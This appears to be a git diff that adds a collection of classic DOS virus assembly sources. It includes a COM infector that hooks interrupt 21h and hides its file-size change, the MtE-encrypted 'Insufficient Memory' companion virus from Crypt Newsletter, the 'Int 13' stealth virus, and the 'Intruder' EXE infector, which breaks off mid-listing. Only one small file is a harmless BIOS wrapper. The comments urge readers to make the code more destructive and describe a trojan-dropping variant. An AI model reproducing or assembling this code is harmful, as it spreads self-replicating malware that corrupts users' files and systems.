3.30? + jne notDOS33 + + mov ah,34h ; Get DOS critical error ptr + int 21h + + mov bx,1460h ; int 21h starts here + jmp short alterint21 +notDOS33: + mov ax,3521h ;just get current int 21 handler + int 21h +alterint21: + mov oldint21,bx + mov word ptr ds:oldint21+2,es + mov si,21h*4 ; save old int 21 handler + pop ds ; found in interrupt table + push si + push cs + pop es + mov di,offset topint21 + movsw + movsw + pop di ; and put new one in + push ds + pop es + mov ax,offset int21 + stosw + mov ax,cs + stosw + + mov di,offset startencrypt + mov al,cs:encrypt_value1 ; decrypt original +decryptcode: ; program code + xor cs:[di],al + inc di + cmp di,offset decryptcode + jb decryptcode +returnCOM: + mov ah,62h ; Get current PSP + int 21h + + push bx ; restore segment registers + mov ds,bx + mov es,bx + mov ax,100h + push ax + retf ; Return to PSP:100h + +infect: + push si + push ds + push es + push di + cld + push cs + pop ds + xor dx,dx ; go to start of file + call movefilepointer + mov dx,offset readbuffer ; and read 3 bytes + mov ah,3Fh + mov cx,3 + call callint21 + jc exiterror + + xor di,di + mov ax,readbuffer + mov cx,word ptr ds:[0] + cmp cx,ax ; check if already infected + je go_exitinfect + cmp al,0EBh ; jmp short? + jne checkifJMP + mov al,ah + xor ah,ah + add ax,2 + mov di,ax ; di = jmp location +checkifJMP: + cmp al,0E9h ; jmp? + jne checkifEXE ; nope + mov ax,word ptr readbuffer+1 + add ax,3 + mov di,ax ; di = jmp location + xor ax,ax +checkifEXE: + cmp ax,'MZ' + je exiterror + cmp ax,'ZM' + jne continue_infect +exiterror: + stc +go_exitinfect: + jmp short exitinfect + nop +continue_infect: + mov dx,di + push cx + call movefilepointer ; go to jmp location + mov dx,virlength ; and read 1024 more bytes + mov ah,3Fh + mov cx,dx + call callint21 + pop cx + jc exiterror + cmp readbuffer,cx + je go_exitinfect + mov ax,di + sub ah,0FCh + cmp ax,filesize + jae exiterror + mov dx,filesize + call movefilepointer + mov dx,virlength ; write virus to middle + mov cx,dx ; of file + mov ah,40h + call callint21 + jc exitinfect + mov dx,di + call movefilepointer + push cs + pop es + mov di,offset readbuffer + push di + push di + xor si,si + mov cx,di + rep movsb + mov si,offset encrypt_value2 + mov al,encrypted_file +encryptfile: ; encrypt infected file + xor [si],al + inc si + cmp si,7FFh + jb encryptfile + pop cx + pop dx + mov ah,40h ; and write it to end of file + call callint21 +exitinfect: + pop di + pop es + pop ds + pop si + retn + +int21: + cmp ax,4B00h ; Execute? + je execute + cmp ah,3Eh ; Close? + je handleclose + cmp ah,11h ; Find first? + je findfirstnext + cmp ah,12h ; Find next? + je findfirstnext +exitint21: + db 0EAh ; jmp far ptr +topint21 dw 0, 0 + +findfirstnext: + push si + mov si,offset topint21 + pushf + call dword ptr cs:[si] ; call int 21 handler + pop si + push ax + push bx + push es + mov ah,2Fh ; Get DTA + call callint21 + cmp byte ptr es:[bx],0FFh ; extended FCB? + jne noextendedFCB + add bx,7 ; convert to normal +noextendedFCB: + mov ax,es:[bx+17h] ; Get time + and ax,1Fh ; and check infection stamp + cmp ax,1Eh + jne exitfindfirstnext + mov ax,es:[bx+1Dh] + cmp ax,virlength * 2 + 1 ; too small for infection? + jb exitfindfirstnext ; then not infected + sub ax,virlength ; alter file size + mov es:[bx+1Dh],ax +exitfindfirstnext: + pop es + pop bx + pop ax + iret + +int24: + mov al,3 + iret + +callint21: + pushf + call dword ptr cs:oldint21 + retn + +movefilepointer: + xor cx,cx + mov ax,4200h + call callint21 + retn + +execute: + push ax + push bx + mov cs:runningflag,0 + mov ax,3D00h ; open file read/only + call callint21 + mov bx,ax + mov ah,3Eh ; close file + int 21h ; to trigger infection + + pop bx + pop ax +go_exitint21: + jmp short exitint21 + +handleclose: + or cs:runningflag,0 ; virus currently active? + jnz go_exitint21 + push cx + push dx + push di + push es + push ax + push bx + call getint13and24 + call setint13and24 +; convert handle to filename + mov ax,1220h ; get job file table entry + int 2Fh + jc handleclose_noinfect ; exit on error + + mov ax,1216h ; get address of SFT + mov bl,es:[di] + xor bh,bh + int 2Fh ; es:di->file entry in SFT + + mov ax,es:[di+11h] + mov cs:filesize,ax ; save file size, + mov ax,es:[di+0Dh] + and al,0F8h + mov cs:timestore,ax ; time, + mov ax,es:[di+0Fh] + mov cs:datestore,ax ; and date + cmp word ptr es:[di+29h],'MO' ; check for COM extension + jne handleclose_noinfect + cmp byte ptr es:[di+28h],'C' + jne handleclose_noinfect + cmp cs:filesize,0FA00h ; make sure not too large + jae handleclose_noinfect + mov al,20h ; alter file attribute + xchg al,es:[di+4] + mov ah,2 ; alter open mode to + xchg ah,es:[di+2] ; read/write + pop bx + push bx + push ax + call infect + pop ax + mov es:[di+4],al ; restore file attribute + mov es:[di+2],ah ; and open mode + mov cx,cs:timestore + jc infection_not_successful + or cl,1Fh ; make file infected in + and cl,0FEh ; seconds field +infection_not_successful: + mov dx,cs:datestore ; restore file time/date + mov ax,5701h + call callint21 +handleclose_noinfect: + pop bx + pop ax + pop es + pop di + pop dx + pop cx + call callint21 + call setint13and24 + retf 2 ; exit with flags intact + +getint13and24: + mov ah,13h ; Get BIOS int 13h handler + int 2Fh + mov cs:oldint13,bx + mov cs:oldint13+2,es + + int 2Fh ; Restore it + + mov cs:oldint24,offset int24 + mov cs:oldint24+2,cs + retn + +setint13and24: + push ax + push si + push ds + pushf + cli + cld + xor ax,ax + mov ds,ax ; ds->interrupt table + + mov si,13h*4 + lodsw + xchg ax,cs:oldint13 ; replace old int 13 handler + mov [si-2],ax ; with original BIOS handler + lodsw + xchg ax,cs:oldint13+2 + mov [si-2],ax + + mov si,24h*4 ; replace old int 24 handler + lodsw ; with our own handler + xchg ax,cs:oldint24 + mov [si-2],ax + lodsw + xchg ax,cs:oldint24+2 + mov [si-2],ax + popf + pop ds + pop si + pop ax + retn + +;----------------- +; Okey..don't change the text to much here, cuz the virus will refuse +; to work correctly if you writes to many chars..If you wanna modify +; this virus, make it a bit more destructive than it already is. I +; love destructive codes..It reminds me of my Brain..(??) .. +;----------------- + +message db 'Insane Reality.. ', 0 ; Mutation name.. + db 'The Unforgiven / IR.. ' ; That's me.. + + db 0, 0, 0, 0, 0 + +encrypt_value1 db 0 +readbuffer dw 0 + db 253 dup (0) + +nothing1 db 0 + db 152 dup (0) +encrypt_value2 db 0 + db 614 dup (0) +encrypted_file db 0 + db 1280 dup (0) +carrier: + dw 20CDh + + end leech + +; Greetings goes out to Raver, Metal Militia, Scavenger, +; and all the others livi'n in the Insane Reality of today. \ No newline at end of file diff --git a/i/INSUFF.ASM b/i/INSUFF.ASM new file mode 100755 index 0000000..ab7ffce --- /dev/null +++ b/i/INSUFF.ASM @@ -0,0 +1,178 @@ +;INSUFFICIENT MEMORY virus - by URNST KOUCH for Crypt Newsletter #6 +;INSUFF MEMO is a simple MUTATION ENGINE loaded spawning virus, which +;confines itself to the current directory. To assemble with TASM 2.5, user +;must have complete MTE091B software package (including RND.OBJ, +;MTE.OBJ and stubfile, NOPS.BIN). Use MAKE2.BAT included in this +;issue of the Crypt Newsletter to assemble all proper +;components. Observant readers will notice INSUFF MEMO takes advantage of +;VCL 1.0 code as well as notation from the SARA virus. INSUFF MEMO is +;a non-threatening, unique example of an MtE-loaded companion virus - +;the only one in circulation, in fact. +; +;INSUFF2, included as a DEBUG script in this newsletter, is functionally +;identical to this virus. However, for those who 'require' a destructive +;program for their full enjoyment, it is loaded with a routine which +;simple checks the system time and branches to some 'dropper' code if +;after quitting time (4:00 pm). The 'dropper' reads from a data table +;and writes the NOIZ trojan to any .EXE in the current directory. By +;looking carefully at this code, several areas where 'potentially' +;destructive/nuisance routines can be added will suggest themselves. +;We do not include them for a number of reasons: 1) they are easy to +;come by in any number of books on assembly coding, the VCL 1.0 (an +;excellent source), or source code archives on mnay BBS's, and; 2) +;it allows you to get creative if you want and tinker (like I do all the +; time) with the basic layout of virus source. +; +;INSUFF3's source listing is modified to allow the virus to jump out +;of the current directory when all files in it are infected. The +;listing is publicly available at the BBS's listed at the end of the +;Crypt newsletter. + + .model tiny + .radix 16 + .code + + extrn mut_engine: near + extrn rnd_buf: word, data_top: near + + org 100 + +start: + call locadr + +reladr: + db 'Insufficient memory' + +locadr: + pop dx + mov cl,4 + shr dx,cl + sub dx,10 + mov cx,ds + add cx,dx ;Calculate new CS + mov dx,offset begin + push cx dx + retf +begin: + cld + mov di,offset start + push es di ; + push cs ;A carry over from the DAV + pop ds ;SARA virus, something of a curiosity + ;in this companion virus + mov dx,offset dta_buf ;Set DTA + mov ah,1a + int 21 + mov ax,3524 ;Hook INT 24, error handler + int 21 ;see bottom of code + push es bx + mov dx,offset fail_err + mov ax,2524 + int 21 + + xor ax,ax ;Initialize random seed for MtE + mov [rnd_buf],ax ;could be coded, mov cs:[rnd_buf],0 + push sp ;process necessary for generation of + pop cx ;MtE encryption key - see MtE docs + sub cx,sp ;for further notation + add cx,4 + push cx + mov dx,offset srchnam ;EXE file-mask for spawn-name search + mov cl,3 + mov ah,4e ; DOS find first file function + +find_a_file: + int 021h + jc infection_done ; Exit if no files found + jmp infect ; Infect the file! + jnc infection_done ; Exit if no error +findr: mov ah,04Fh ; DOS find next file function + jmp find_a_file ; Try finding another file + + +infection_done: + + mov ax,4C00h ;terminate + int 21h + +infect: + mov ah,02Fh ; DOS get DTA address function + int 021h + mov di,bx ; DI points to the DTA + + lea si,[di + 01Eh] ; SI points to file name + mov dx,si ; DX points to file name, too + mov di,offset spawn_name + 1; DI points to new name + xor ah,ah ; AH holds character count +transfer_loop: + lodsb ; Load a character + or al,al ; Is it a NULL? + je transfer_end ; If so then leave the loop + inc ah ; Add one to the character count + stosb ; Save the byte in the buffer + jmp short transfer_loop ; Repeat the loop +transfer_end: + mov byte ptr [spawn_name],ah; First byte holds char. count + mov byte ptr [di],13 ; Make CR the final character + mov di,dx ; DI points to file name + xor ch,ch ; + mov cl,ah ; CX holds length of filename + mov al,'.' ; AL holds char. to search for +repne scasb ; Search for a dot in the name + mov word ptr [di],'OC' ; Store "CO" as first two bytes + mov byte ptr [di + 2],'M' ; Store "M" to make "COM" + + mov byte ptr [set_carry],0 ; Assume we'll fail + mov ax,03D00h ; DOS open file function, r/o + int 021h + jnc findr ; File already exists, so leave + mov byte ptr [set_carry],1 ; Success -- the file is OK + mov ah,03Ch ; DOS create file function + mov cx,00100111b ; CX holds file attributes (all) + int 21h + xchg bx,ax ; BX holds file handle + push dx cx + mov ax,offset data_top+0Fh + mov cl,4 + shr ax,cl + mov cx,cs + add ax,cx + mov es,ax + mov dx,offset start ; DX points to start of virus + mov cx,offset _DATA ; CX holds virus length for encryption + push bp bx + mov bp,0100h ;tells MtE decryption routine will + xor si,si ;hand over control to where virus adds + xor di,di ;itself to 'infected' file, in this case offset + mov bl,0Fh ;0100h .. set si/di to 0, bl to 0Fh, all required + mov ax,101 ;set bit-field in ax + call mut_engine ;call the Mutation Engine to do its thing + pop bx ax + add ax,cx + neg ax + xor ah,ah + add ax,cx + mov ah,040h ;write encrypted virus to newly created file + int 21h + mov ah,03Eh ;close the file + int 21h + cmp byte ptr [set_carry],1 + jmp infection_done ;move to end game + + + +fail_err: ;Critical error handler + mov al,3 ;prevents virus from producing + iret ;messages on write-protected disks. + ;Not handed back to machine when virus exits. +srchnam db '*.EXE',0 ;File-mask for 'spawn-search.' + + + + .data + +dta_buf db 2bh dup(?) ; Buffer for DTA +spawn_name db 12,12 dup (?),13 ; Name for next spawn +set_carry db ? ; Set-carry-on-exit flag + + end start diff --git a/i/INT10.ASM b/i/INT10.ASM new file mode 100755 index 0000000..f29e3bc --- /dev/null +++ b/i/INT10.ASM @@ -0,0 +1,47 @@ +DOSCALL SEGMENT 'CODE' + ASSUME CS:DOSCALL,DS:DOSCALL +; +;Procedure DOSVIO(VAR: AX, BX, CX, DX: Word); +; +; Issue a DOS VIDEO I/O INT (10) with register values set by caller +; +; FRAME: ADR AX; 12 +; ADR BX; 10 +; ADR CX; 08 +; ADR DX; 06 +; ; 00 +; + PUBLIC DOSVIO +DOSVIO PROC FAR + PUSH BP ;Save current BP value + MOV BP,SP ;To address parms + MOV DI,[BP+12] ;Address of AX + MOV AX,[DI] ;Set AX value + MOV DI,[BP+10] ;Address of BX + MOV BX,[DI] ;Set BX value + MOV DI,[BP+08] ;Address of CX + MOV CX,[DI] ;Set CX value + MOV DI,[BP+06] ;Address of DX + MOV DX,[DI] ;Set DX value + + INT 10H ;Call BIOS with caller's AX, BX, CX, DX + + MOV DI,[BP+12] ;Now put them all back... + MOV [DI],AX + MOV DI,[BP+10] + MOV [DI],BX + MOV DI,[BP+08] + MOV [DI],CX + MOV DI,[BP+06] + MOV [DI],DX + + POP BP ;Restore frame pointer + RET 6 ;Return, poping 6 bytes + +DOSVIO ENDP + +DOSCALL ENDS + END + +*** CREATED 06/28/82 21:05:48 BY AMD *** + \ No newline at end of file diff --git a/i/INT13.ASM b/i/INT13.ASM new file mode 100755 index 0000000..756fc61 --- /dev/null +++ b/i/INT13.ASM @@ -0,0 +1,310 @@ +Code Segment + Assume CS:Code + +Old13 = 9Ch +True13 = 9Dh +Saved21 = 9Eh +Temp13 = 9Fh + +VStart: loop Next ; Virus ID +Next: push ax + mov di,13h * 4 + push di + xor bp,bp + mov ds,bp + les bx,[di] + mov di,True13 * 4 + mov [di-4],bx + mov [di-2],es + mov ah,13h + int 2Fh + push es + push bx + int 2Fh + mov es,bp + mov si,21h * 4 + pop ax + stosw + pop ax + stosw + push si + movsw + movsw + mov ah,52h + int 21h + push es + pop ds + les ax,[bx+12h] ; ax is now 0000h, i.e. ah is 0. + push word ptr es:[bp+2] + mov si,100h + mov cx,si + mov di,bp + push si + rep movs word ptr es:[di], cs:[si] + pop si + pop word ptr ds:[bx+14h] + push es + mov al, offset Continue ; Let's use it! + push ax + retf + +SavedCX dw 1 +SavedDX dw 0 +SavedBX dw 0 +SavedES dw 0 + +FileWord dw 0 + +SCX = offset SavedCX - offset VStart +SDX = offset SavedDX - offset VStart + +Continue: mov es,bp + pop di + mov al,offset Int21 ; Two times! + stosw + mov es:[di],cs + pop di + mov al,offset Int13 ; Three times! + stosw + mov es:[di],cs + + mov es,[bp+2Ch] ; This assumes SS: + mov di,bp + xchg ax,bp + dec cx +ScanEnv: repne scasb + scasb + jnz ScanEnv + scasw + push es + pop ds + mov dx,di + mov ah,3Dh + int 21h + jc NoStart + mov dx,si + xchg ax,bx + mov ah,3Fh + push ss + pop ds + int 21h + mov ah,3Eh + int 21h + + pop ax + push ss + push si + push ss + pop es + retf + +NoStart: mov ah,4Ch + int 21h + +Int13V: mov SavedBX,bx + mov SavedCX,cx + mov SavedDX,dx + mov SavedES,es + +Go13: int Old13 + jmp short RetF2 + +Int13: cmp ah,2 + jne Go13 + push ds + push si + push di + push cx + push dx + push es + push bx + push dx + int Old13 + pop dx + jc Exit13 + cmp word ptr es:[bx],00E2h + clc + jne Exit13 + mov ax,202h + mov cx,es:[bx+SCX] + mov dh,byte ptr es:[bx+SDX+1] + mov bx,0B800h + mov ds,bx + mov es,bx + mov bh,78h + int True13 + jc Exit13 + mov si,7A00h + pop bx + mov di,bx + pop es + mov cx,100h + rep movsw + jmp short Exit13_1 +Exit13: pop bx + pop es +Exit13_1: pop dx + pop cx + pop di + pop si + pop ds +RetF2: retf 2 + +Int21: cmp ah,12h + je FindNext + int Saved21 + jmp RetF2 +FindNext: int Saved21 + cmp al,0 + jnz RetF2 + push ax + push bx + push ds + push es + mov ah,2Fh + int Saved21 + push es + pop ds + mov ax,'MO' + cmp ax,[bx+17] + jne Exit1 + cmp ax,[bx+9] + je Exit1 + mov al,[bx+7] + add al,'@' + push cx + push dx + mov cx,[bx+36] + mov dx,200h + cmp cx,dx + jb Exit2 + dec cx + test ch,10b + jz Infect + cmp al,'C' + jb Exit2 + test ch,100b + jz Infect +Exit2: pop dx + pop cx +Exit1: pop es + pop ds + pop bx + pop ax + jmp RetF2 + +Infect: push si + push di + push cs + pop es + mov di,dx + lea si,[bx+8] + mov ah,':' + stosw + movsw + movsw + movsw + movsw + mov al,'.' + stosb + movsw + movsb + xor ax,ax + stosb + + mov ds,ax + mov es,ax + mov si,13h * 4 + mov di,Temp13 * 4 + + push si + push di + push es + + movsw + movsw + + mov word ptr [si-4], offset Int13V + mov [si-2], cs + + push cs + pop ds + + mov ah,3Dh + int Saved21 + xchg ax,bx + mov ax,4202h + mov cx,-1 + mov dx,cx + int Saved21 ; DX must now be zero (.COM) +Go: mov ah,3Fh + mov dl,offset FileWord + mov di,dx + neg cx ; mov cx,1 + int Saved21 + push [di-8] + push [di-6] + mov ax,4200h + xor cx,cx ; can it be inc cx ?? + xor dx,dx + int Saved21 + mov ah,3Fh + mov dx,di + mov cl,2 + int Saved21 + mov ax,[di] + pop dx + pop cx + cmp ax,00E2h + je Close + cmp ax,5A4Dh + je Close + mov ax,202h + push cx + push dx + mov bx,0B800h + mov es,bx + mov bh,78h + int True13 + lds si,[di-4] + push di + mov di,7A00h + mov cx,100h + rep movsw + pop di + mov ax,302h + pop dx + pop cx + push cx + push dx + int True13 + pop dx + pop cx + mov ax,301h + xchg cx,cs:[di-8] + xchg dx,cs:[di-6] + push cs + pop es + xor bx,bx + int True13 +Close: mov ah,3Eh + int Saved21 + + pop es + pop si + pop di + + movs word ptr es:[di], es:[si] + movs word ptr es:[di], es:[si] + + pop di + pop si + jmp Exit2 + +VName db ' Int 13' + +VEnd label byte +VLen = offset VEnd - offset VStart + +Code EndS + End VStart \ No newline at end of file diff --git a/i/INTER.ASM b/i/INTER.ASM new file mode 100755 index 0000000..74dd4a0 Binary files /dev/null and b/i/INTER.ASM differ diff --git a/i/INTRUDER.ASM b/i/INTRUDER.ASM new file mode 100755 index 0000000..1195a0c --- /dev/null +++ b/i/INTRUDER.ASM @@ -0,0 +1,710 @@ +;The Intruder Virus is an EXE file infector which can jump from directory to +;directory and disk to disk. It attaches itself to the end of a file and +;modifies the EXE file header so that it gets control first, before the host +;program. When it is done doing its job, it passes control to the host program, +;so that the host executes without a hint that the virus is there. + + + .SEQ ;segments must appear in sequential order + ;to simulate conditions in actual active virus + + +;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together + +;HOSTSEG program code segment. The virus gains control before this routine and +;attaches itself to another EXE file. As such, the host program for this +;installer simply tries to delete itself off of disk and terminates. That is +;worthwhile if you want to infect a system with the virus without getting +;caught. Just execute the program that infects, and it disappears without a +;trace. You might want to name the program something more innocuous, though. + +HOSTSEG SEGMENT BYTE + ASSUME CS:HOSTSEG,SS:HSTACK + +PGMSTR DB 'INTRUDER.EXE',0 + +HOST: + mov ax,cs ;we want DS=CS here + mov ds,ax + mov dx,OFFSET PGMSTR + mov ah,41H + int 21H ;delete this exe file + mov ah,4CH + mov al,0 + int 21H ;terminate normally +HOSTSEG ENDS + + +;Host program stack segment + +HSTACK SEGMENT PARA STACK + db 100H dup (?) ;100 bytes long +HSTACK ENDS + +;------------------------------------------------------------------------ +;This is the virus itself + +STACKSIZE EQU 100H ;size of stack for the virus +NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table + +;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together + +;Intruder Virus code segment. This gains control first, before the host. As this +;ASM file is layed out, this program will look exactly like a simple program +;that was infected by the virus. + +VSEG SEGMENT PARA + ASSUME CS:VSEG,DS:VSEG,SS:VSTACK + +;data storage area comes before any code +VIRUSID DW 0C8AAH ;identifies virus +OLDDTA DD 0 ;old DTA segment and offset +DTA1 DB 2BH dup (?) ;new disk transfer area +DTA2 DB 56H dup (?) ;dta for directory finds (2 deep) +EXE_HDR DB 1CH dup (?) ;buffer for EXE file header +EXEFILE DB '\*.EXE',0 ;search string for an exe file +ALLFILE DB '\*.*',0 ;search string for any file +USEFILE DB 78 dup (?) ;area to put valid file path +LEVEL DB 0 ;depth to search directories for a file +HANDLE DW 0 ;file handle +FATTR DB 0 ;old file attribute storage area +FTIME DW 0 ;old file time stamp storage area +FDATE DW 0 ;old file date stamp storage area +FSIZE DD 0 ;file size storage area +VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there +VCODE DB 1 ;identifies this version + +;-------------------------------------------------------------------------- +;Intruder virus main routine starts here +VIRUS: + push ax ;save startup info in ax + mov ax,cs + mov ds,ax ;set up DS=CS for the virus + mov ax,es ;get PSP Seg + mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it + call SHOULDRUN ;run only when certain conditions met signalled by z set + jnz REL1 ;conditions aren't met, go execute host program + call SETSR ;modify SHOULDRUN procedure to activate conditions + call NEW_DTA ;set up a new DTA location + call FIND_FILE ;get an exe file to attack + jnz FINISH ;returned nz - no valid file, exit + call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode + call INFECT ;move program code to file we found to attack + call REST_ATTRIBUTE ;restore the original file attributes and close the file +FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup + pop ax ;restore startup value of ax +REL1: ;relocatable marker for host stack segment + mov bx,HSTACK ;set up host program stack segment (ax=segment) + cli ;interrupts off while changing stack + mov ss,bx +REL1A: ;marker for host stack pointer + mov sp,OFFSET HSTACK + mov es,WORD PTR [OLDDTA+2] ;set up ES correctly + mov ds,WORD PTR [OLDDTA+2] ;and DS + sti ;interrupts back on +REL2: ;relocatable marker for host code segment + jmp FAR PTR HOST ;begin execution of host program + +;-------------------------------------------------------------------------- +;First Level - Find a file which passes FILE_OK +; +;This routine does a complex directory search to find an EXE file in the +;current directory, one of its subdirectories, or the root directory or one +;of its subdirectories, to find a file for which FILE_OK returns with C reset. +;If you want to change the depth of the search, make sure to allocate enough +;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work, +;since the recursive FINDBR uses a different DTA area for the search (see DOS +;functions 4EH and 4FH) on each level. +; +FIND_FILE: + mov al,'\' ;set up current directory path in USEFILE + mov BYTE PTR [USEFILE],al + mov si,OFFSET USEFILE+1 + xor dl,dl + mov ah,47H + int 21H ;get current dir, USEFILE= \dir + cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root + jnz FF2 ;not the root + xor al,al ;make correction for root directory, + mov BYTE PTR [USEFILE],al ;by setting USEFILE = '' +FF2: mov al,2 + mov [LEVEL],al ;search 2 subdirs deep + call FINDBR ;attempt to locate a valid file + jz FF3 ;found one - exit + xor al,al ;nope - try the root directory + mov BYTE PTR [USEFILE],al ;by setting USEFILE= '' + inc al ;al=1 + mov [LEVEL],al ;search one subdir deep + call FINDBR ;attempt to find file +FF3: + ret ;exit with z flag set by FINDBR to indicate success/failure + + +;-------------------------------------------------------------------------- +;Second Level - Find in a branch +; +;This function searches the directory specified in USEFILE for EXE files. +;after searching the specified directory, it searches subdirectories to the +;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this +;routine exits with Z set and leaves the file and path in USEFILE +; +FINDBR: + call FINDEXE ;search current dir for EXE first + jnc FBE3 ;found it - exit + cmp [LEVEL],0 ;no - do we want to go another directory deeper? + jz FBE1 ;no - exit + dec [LEVEL] ;yes - decrement LEVEL and continue + mov di,OFFSET USEFILE ;'\curr_dir' is here + mov si,OFFSET ALLFILE ;'\*.*' is here + call CONCAT ;get '\curr_dir\*.*' in USEFILE + inc di + push di ;store pointer to first * + call FIRSTDIR ;get first subdirectory + jnz FBE ;couldn't find it, so quit +FB1: ;otherwise, check it out + pop di ;strip \*.* off of USEFILE + xor al,al + stosb + mov di,OFFSET USEFILE + mov bx,OFFSET DTA2+1EH + mov al,[LEVEL] + mov dl,2BH ;compute correct DTA location for subdir name + mul dl ;which depends on the depth we're at in the search + add bx,ax ;bx points to directory name + mov si,bx + call CONCAT ;'\curr_dir\sub_dir' put in USEFILE + push di ;save position of first letter in sub_dir name + call FINDBR ;scan the subdirectory and its subdirectories (recursive) + jz FBE2 ;if successful, exit + call NEXTDIR ;get next subdirectory in this directory + jz FB1 ;go check it if search successful +FBE: ;else exit, NZ set, cleaned up + inc [LEVEL] ;increment the level counter before exit + pop di ;strip any path or file spec off of original + xor al,al ;directory path + stosb +FBE1: mov al,1 ;return with NZ set + or al,al + ret + +FBE2: pop di ;successful exit, pull this off the stack +FBE3: xor al,al ;and set Z + ret ;exit + +;-------------------------------------------------------------------------- +;Third Level - Part A - Find an EXE file +; +;This function searches the path in USEFILE for an EXE file which passes +;the test FILE_OK. This routine will return the full path of the EXE file +;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return +;with the c flag set. It will search a whole directory before giving up. +; +FINDEXE: + mov dx,OFFSET DTA1 ;set new DTA for EXE search + mov ah,1AH + int 21H + mov di,OFFSET USEFILE + mov si,OFFSET EXEFILE + call CONCAT ;set up USEFILE with '\dir\*.EXE' + push di ;save position of '\' before '*.EXE' + mov dx,OFFSET USEFILE + mov cx,3FH ;search first for any file + mov ah,4EH + int 21H +NEXTEXE: + or al,al ;is DOS return OK? + jnz FEC ;no - quit with C set + pop di + inc di + stosb ;truncate '\dir\*.EXE' to '\dir\' + mov di,OFFSET USEFILE + mov si,OFFSET DTA1+1EH + call CONCAT ;setup file name '\dir\filename.exe' + dec di + push di + call FILE_OK ;yes - is this a good file to use? + jnc FENC ;yes - valid file found - exit with c reset + mov ah,4FH + int 21H ;do find next + jmp SHORT NEXTEXE ;and go test it for validity + +FEC: ;no valid file found, return with C set + pop di + mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir + stc + ret +FENC: ;valid file found, return with NC + pop di + ret + + +;-------------------------------------------------------------------------- +;Third Level - Part B - Find a subdirectory +; +;This function searches the file path in USEFILE for subdirectories, excluding +;the subdirectory header entries. If one is found, it returns with Z set, and +;if not, it returns with NZ set. +;There are two entry points here, FIRSTDIR, which does the search first, and +;NEXTDIR, which does the search next. +; +FIRSTDIR: + call GET_DTA ;get proper DTA address in dx (calculated from LEVEL) + push dx ;save it + mov ah,1AH ;set DTA + int 21H + mov dx,OFFSET USEFILE + mov cx,10H ;search for a directory + mov ah,4EH ;do search first function + int 21H +NEXTD1: + pop bx ;get pointer to search table (DTA) + or al,al ;successful search? + jnz NEXTD3 ;no, quit with NZ set + test BYTE PTR [bx+15H],10H ;is this a directory? + jz NEXTDIR ;no, find another + cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header? + jne NEXTD2 ;no - valid directory, exit, setting Z flag + ;else it was dir header entry, so fall through to next +NEXTDIR: ;second entry point for search next + call GET_DTA ;get proper DTA address again - may not be set up + push dx + mov ah,1AH ;set DTA + int 21H + mov ah,4FH + int 21H ;do find next + jmp SHORT NEXTD1 ;and loop to check the validity of the return + +NEXTD2: + xor al,al ;successful exit, set Z flag +NEXTD3: + ret ;exit routine + +;-------------------------------------------------------------------------- +;Return the DTA address associated to LEVEL in dx. This is simply given by +;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record +;in its own DTA, since a search at a lower level occurs in the middle of the +;higher level search, and we don't want the higher level being ruined by +;corrupted data. +; +GET_DTA: + mov dx,OFFSET DTA2 + mov al,2BH + mul [LEVEL] + add dx,ax ;return with dx= proper dta offset + ret + +;-------------------------------------------------------------------------- +;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz +;string at ES:DI. Return ES:DI pointing to the end of the first string in the +;destination (or the first character of the second string, after moved). +; +CONCAT: + mov al,byte ptr es:[di] ;find the end of string 1 + inc di + or al,al + jnz CONCAT + dec di ;di points to the null at the end + push di ;save it to return to the caller +CONCAT2: + cld + lodsb ;move second string to end of first + stosb + or al,al + jnz CONCAT2 + pop di ;and restore di to point to end of string 1 + ret + + +;-------------------------------------------------------------------------- +;Function to determine whether the EXE file specified in USEFILE is useable. +;if so return nc, else return c +;What makes an EXE file useable?: +; a) The signature field in the EXE header must be 'MZ'. (These +; are the first two bytes in the file.) +; b) The Overlay Number field in the EXE header must be zero. +; c) There must be room in the relocatable table for NUMRELS +; more relocatables without enlarging it. +; d) The word VIRUSID must not appear in the 2 bytes just before +; the initial CS:0000 of the test file. If it does, the virus +; is probably already in that file, so we skip it. +; +FILE_OK: + call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR + jc OK_END ;error in reading the file, so quit + call CHECK_SIG_OVERLAY ;is the overlay number zero? + jc OK_END ;no - exit with c set + call REL_ROOM ;is there room in the relocatable table? + jc OK_END ;no - exit + call IS_ID_THERE ;is id at CS:0000? +OK_END: ret ;return with c flag set properly + +;-------------------------------------------------------------------------- +;Returns c if signature in the EXE header is anything but 'MZ' or the overlay +;number is anything but zero. +CHECK_SIG_OVERLAY: + mov al,'M' ;check the signature first + mov ah,'Z' + cmp ax,WORD PTR [EXE_HDR] + jz CSO_1 ;jump if OK + stc ;else set carry and exit + ret +CSO_1: xor ax,ax + sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0 + ret ;c is set if it's anything but 0 + +;-------------------------------------------------------------------------- +;This function reads the 28 byte EXE file header for the file named in USEFILE. +;It puts the header in EXE_HDR, and returns c set if unsuccessful. +; +GET_EXE_HEADER: + mov dx,OFFSET USEFILE + mov ax,3D02H ;r/w access open file + int 21H + jc RE_RET ;error opening - C set - quit without closing + mov [HANDLE],ax ;else save file handle + mov bx,ax ;handle to bx + mov cx,1CH ;read 28 byte EXE file header + mov dx,OFFSET EXE_HDR ;into this buffer + mov ah,3FH + int 21H +RE_RET: ret ;return with c set properly + +;-------------------------------------------------------------------------- +;This function determines if there are at least NUMRELS openings in the +;current relocatable table in USEFILE. If there are, it returns with +;carry reset, otherwise it returns with carry set. The computation +;this routine does is to compare whether +; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table +;is >= than 4 * NUMRELS. If it is, then there is enough room +; +REL_ROOM: + mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs + add ax,ax + add ax,ax + sub ax,WORD PTR 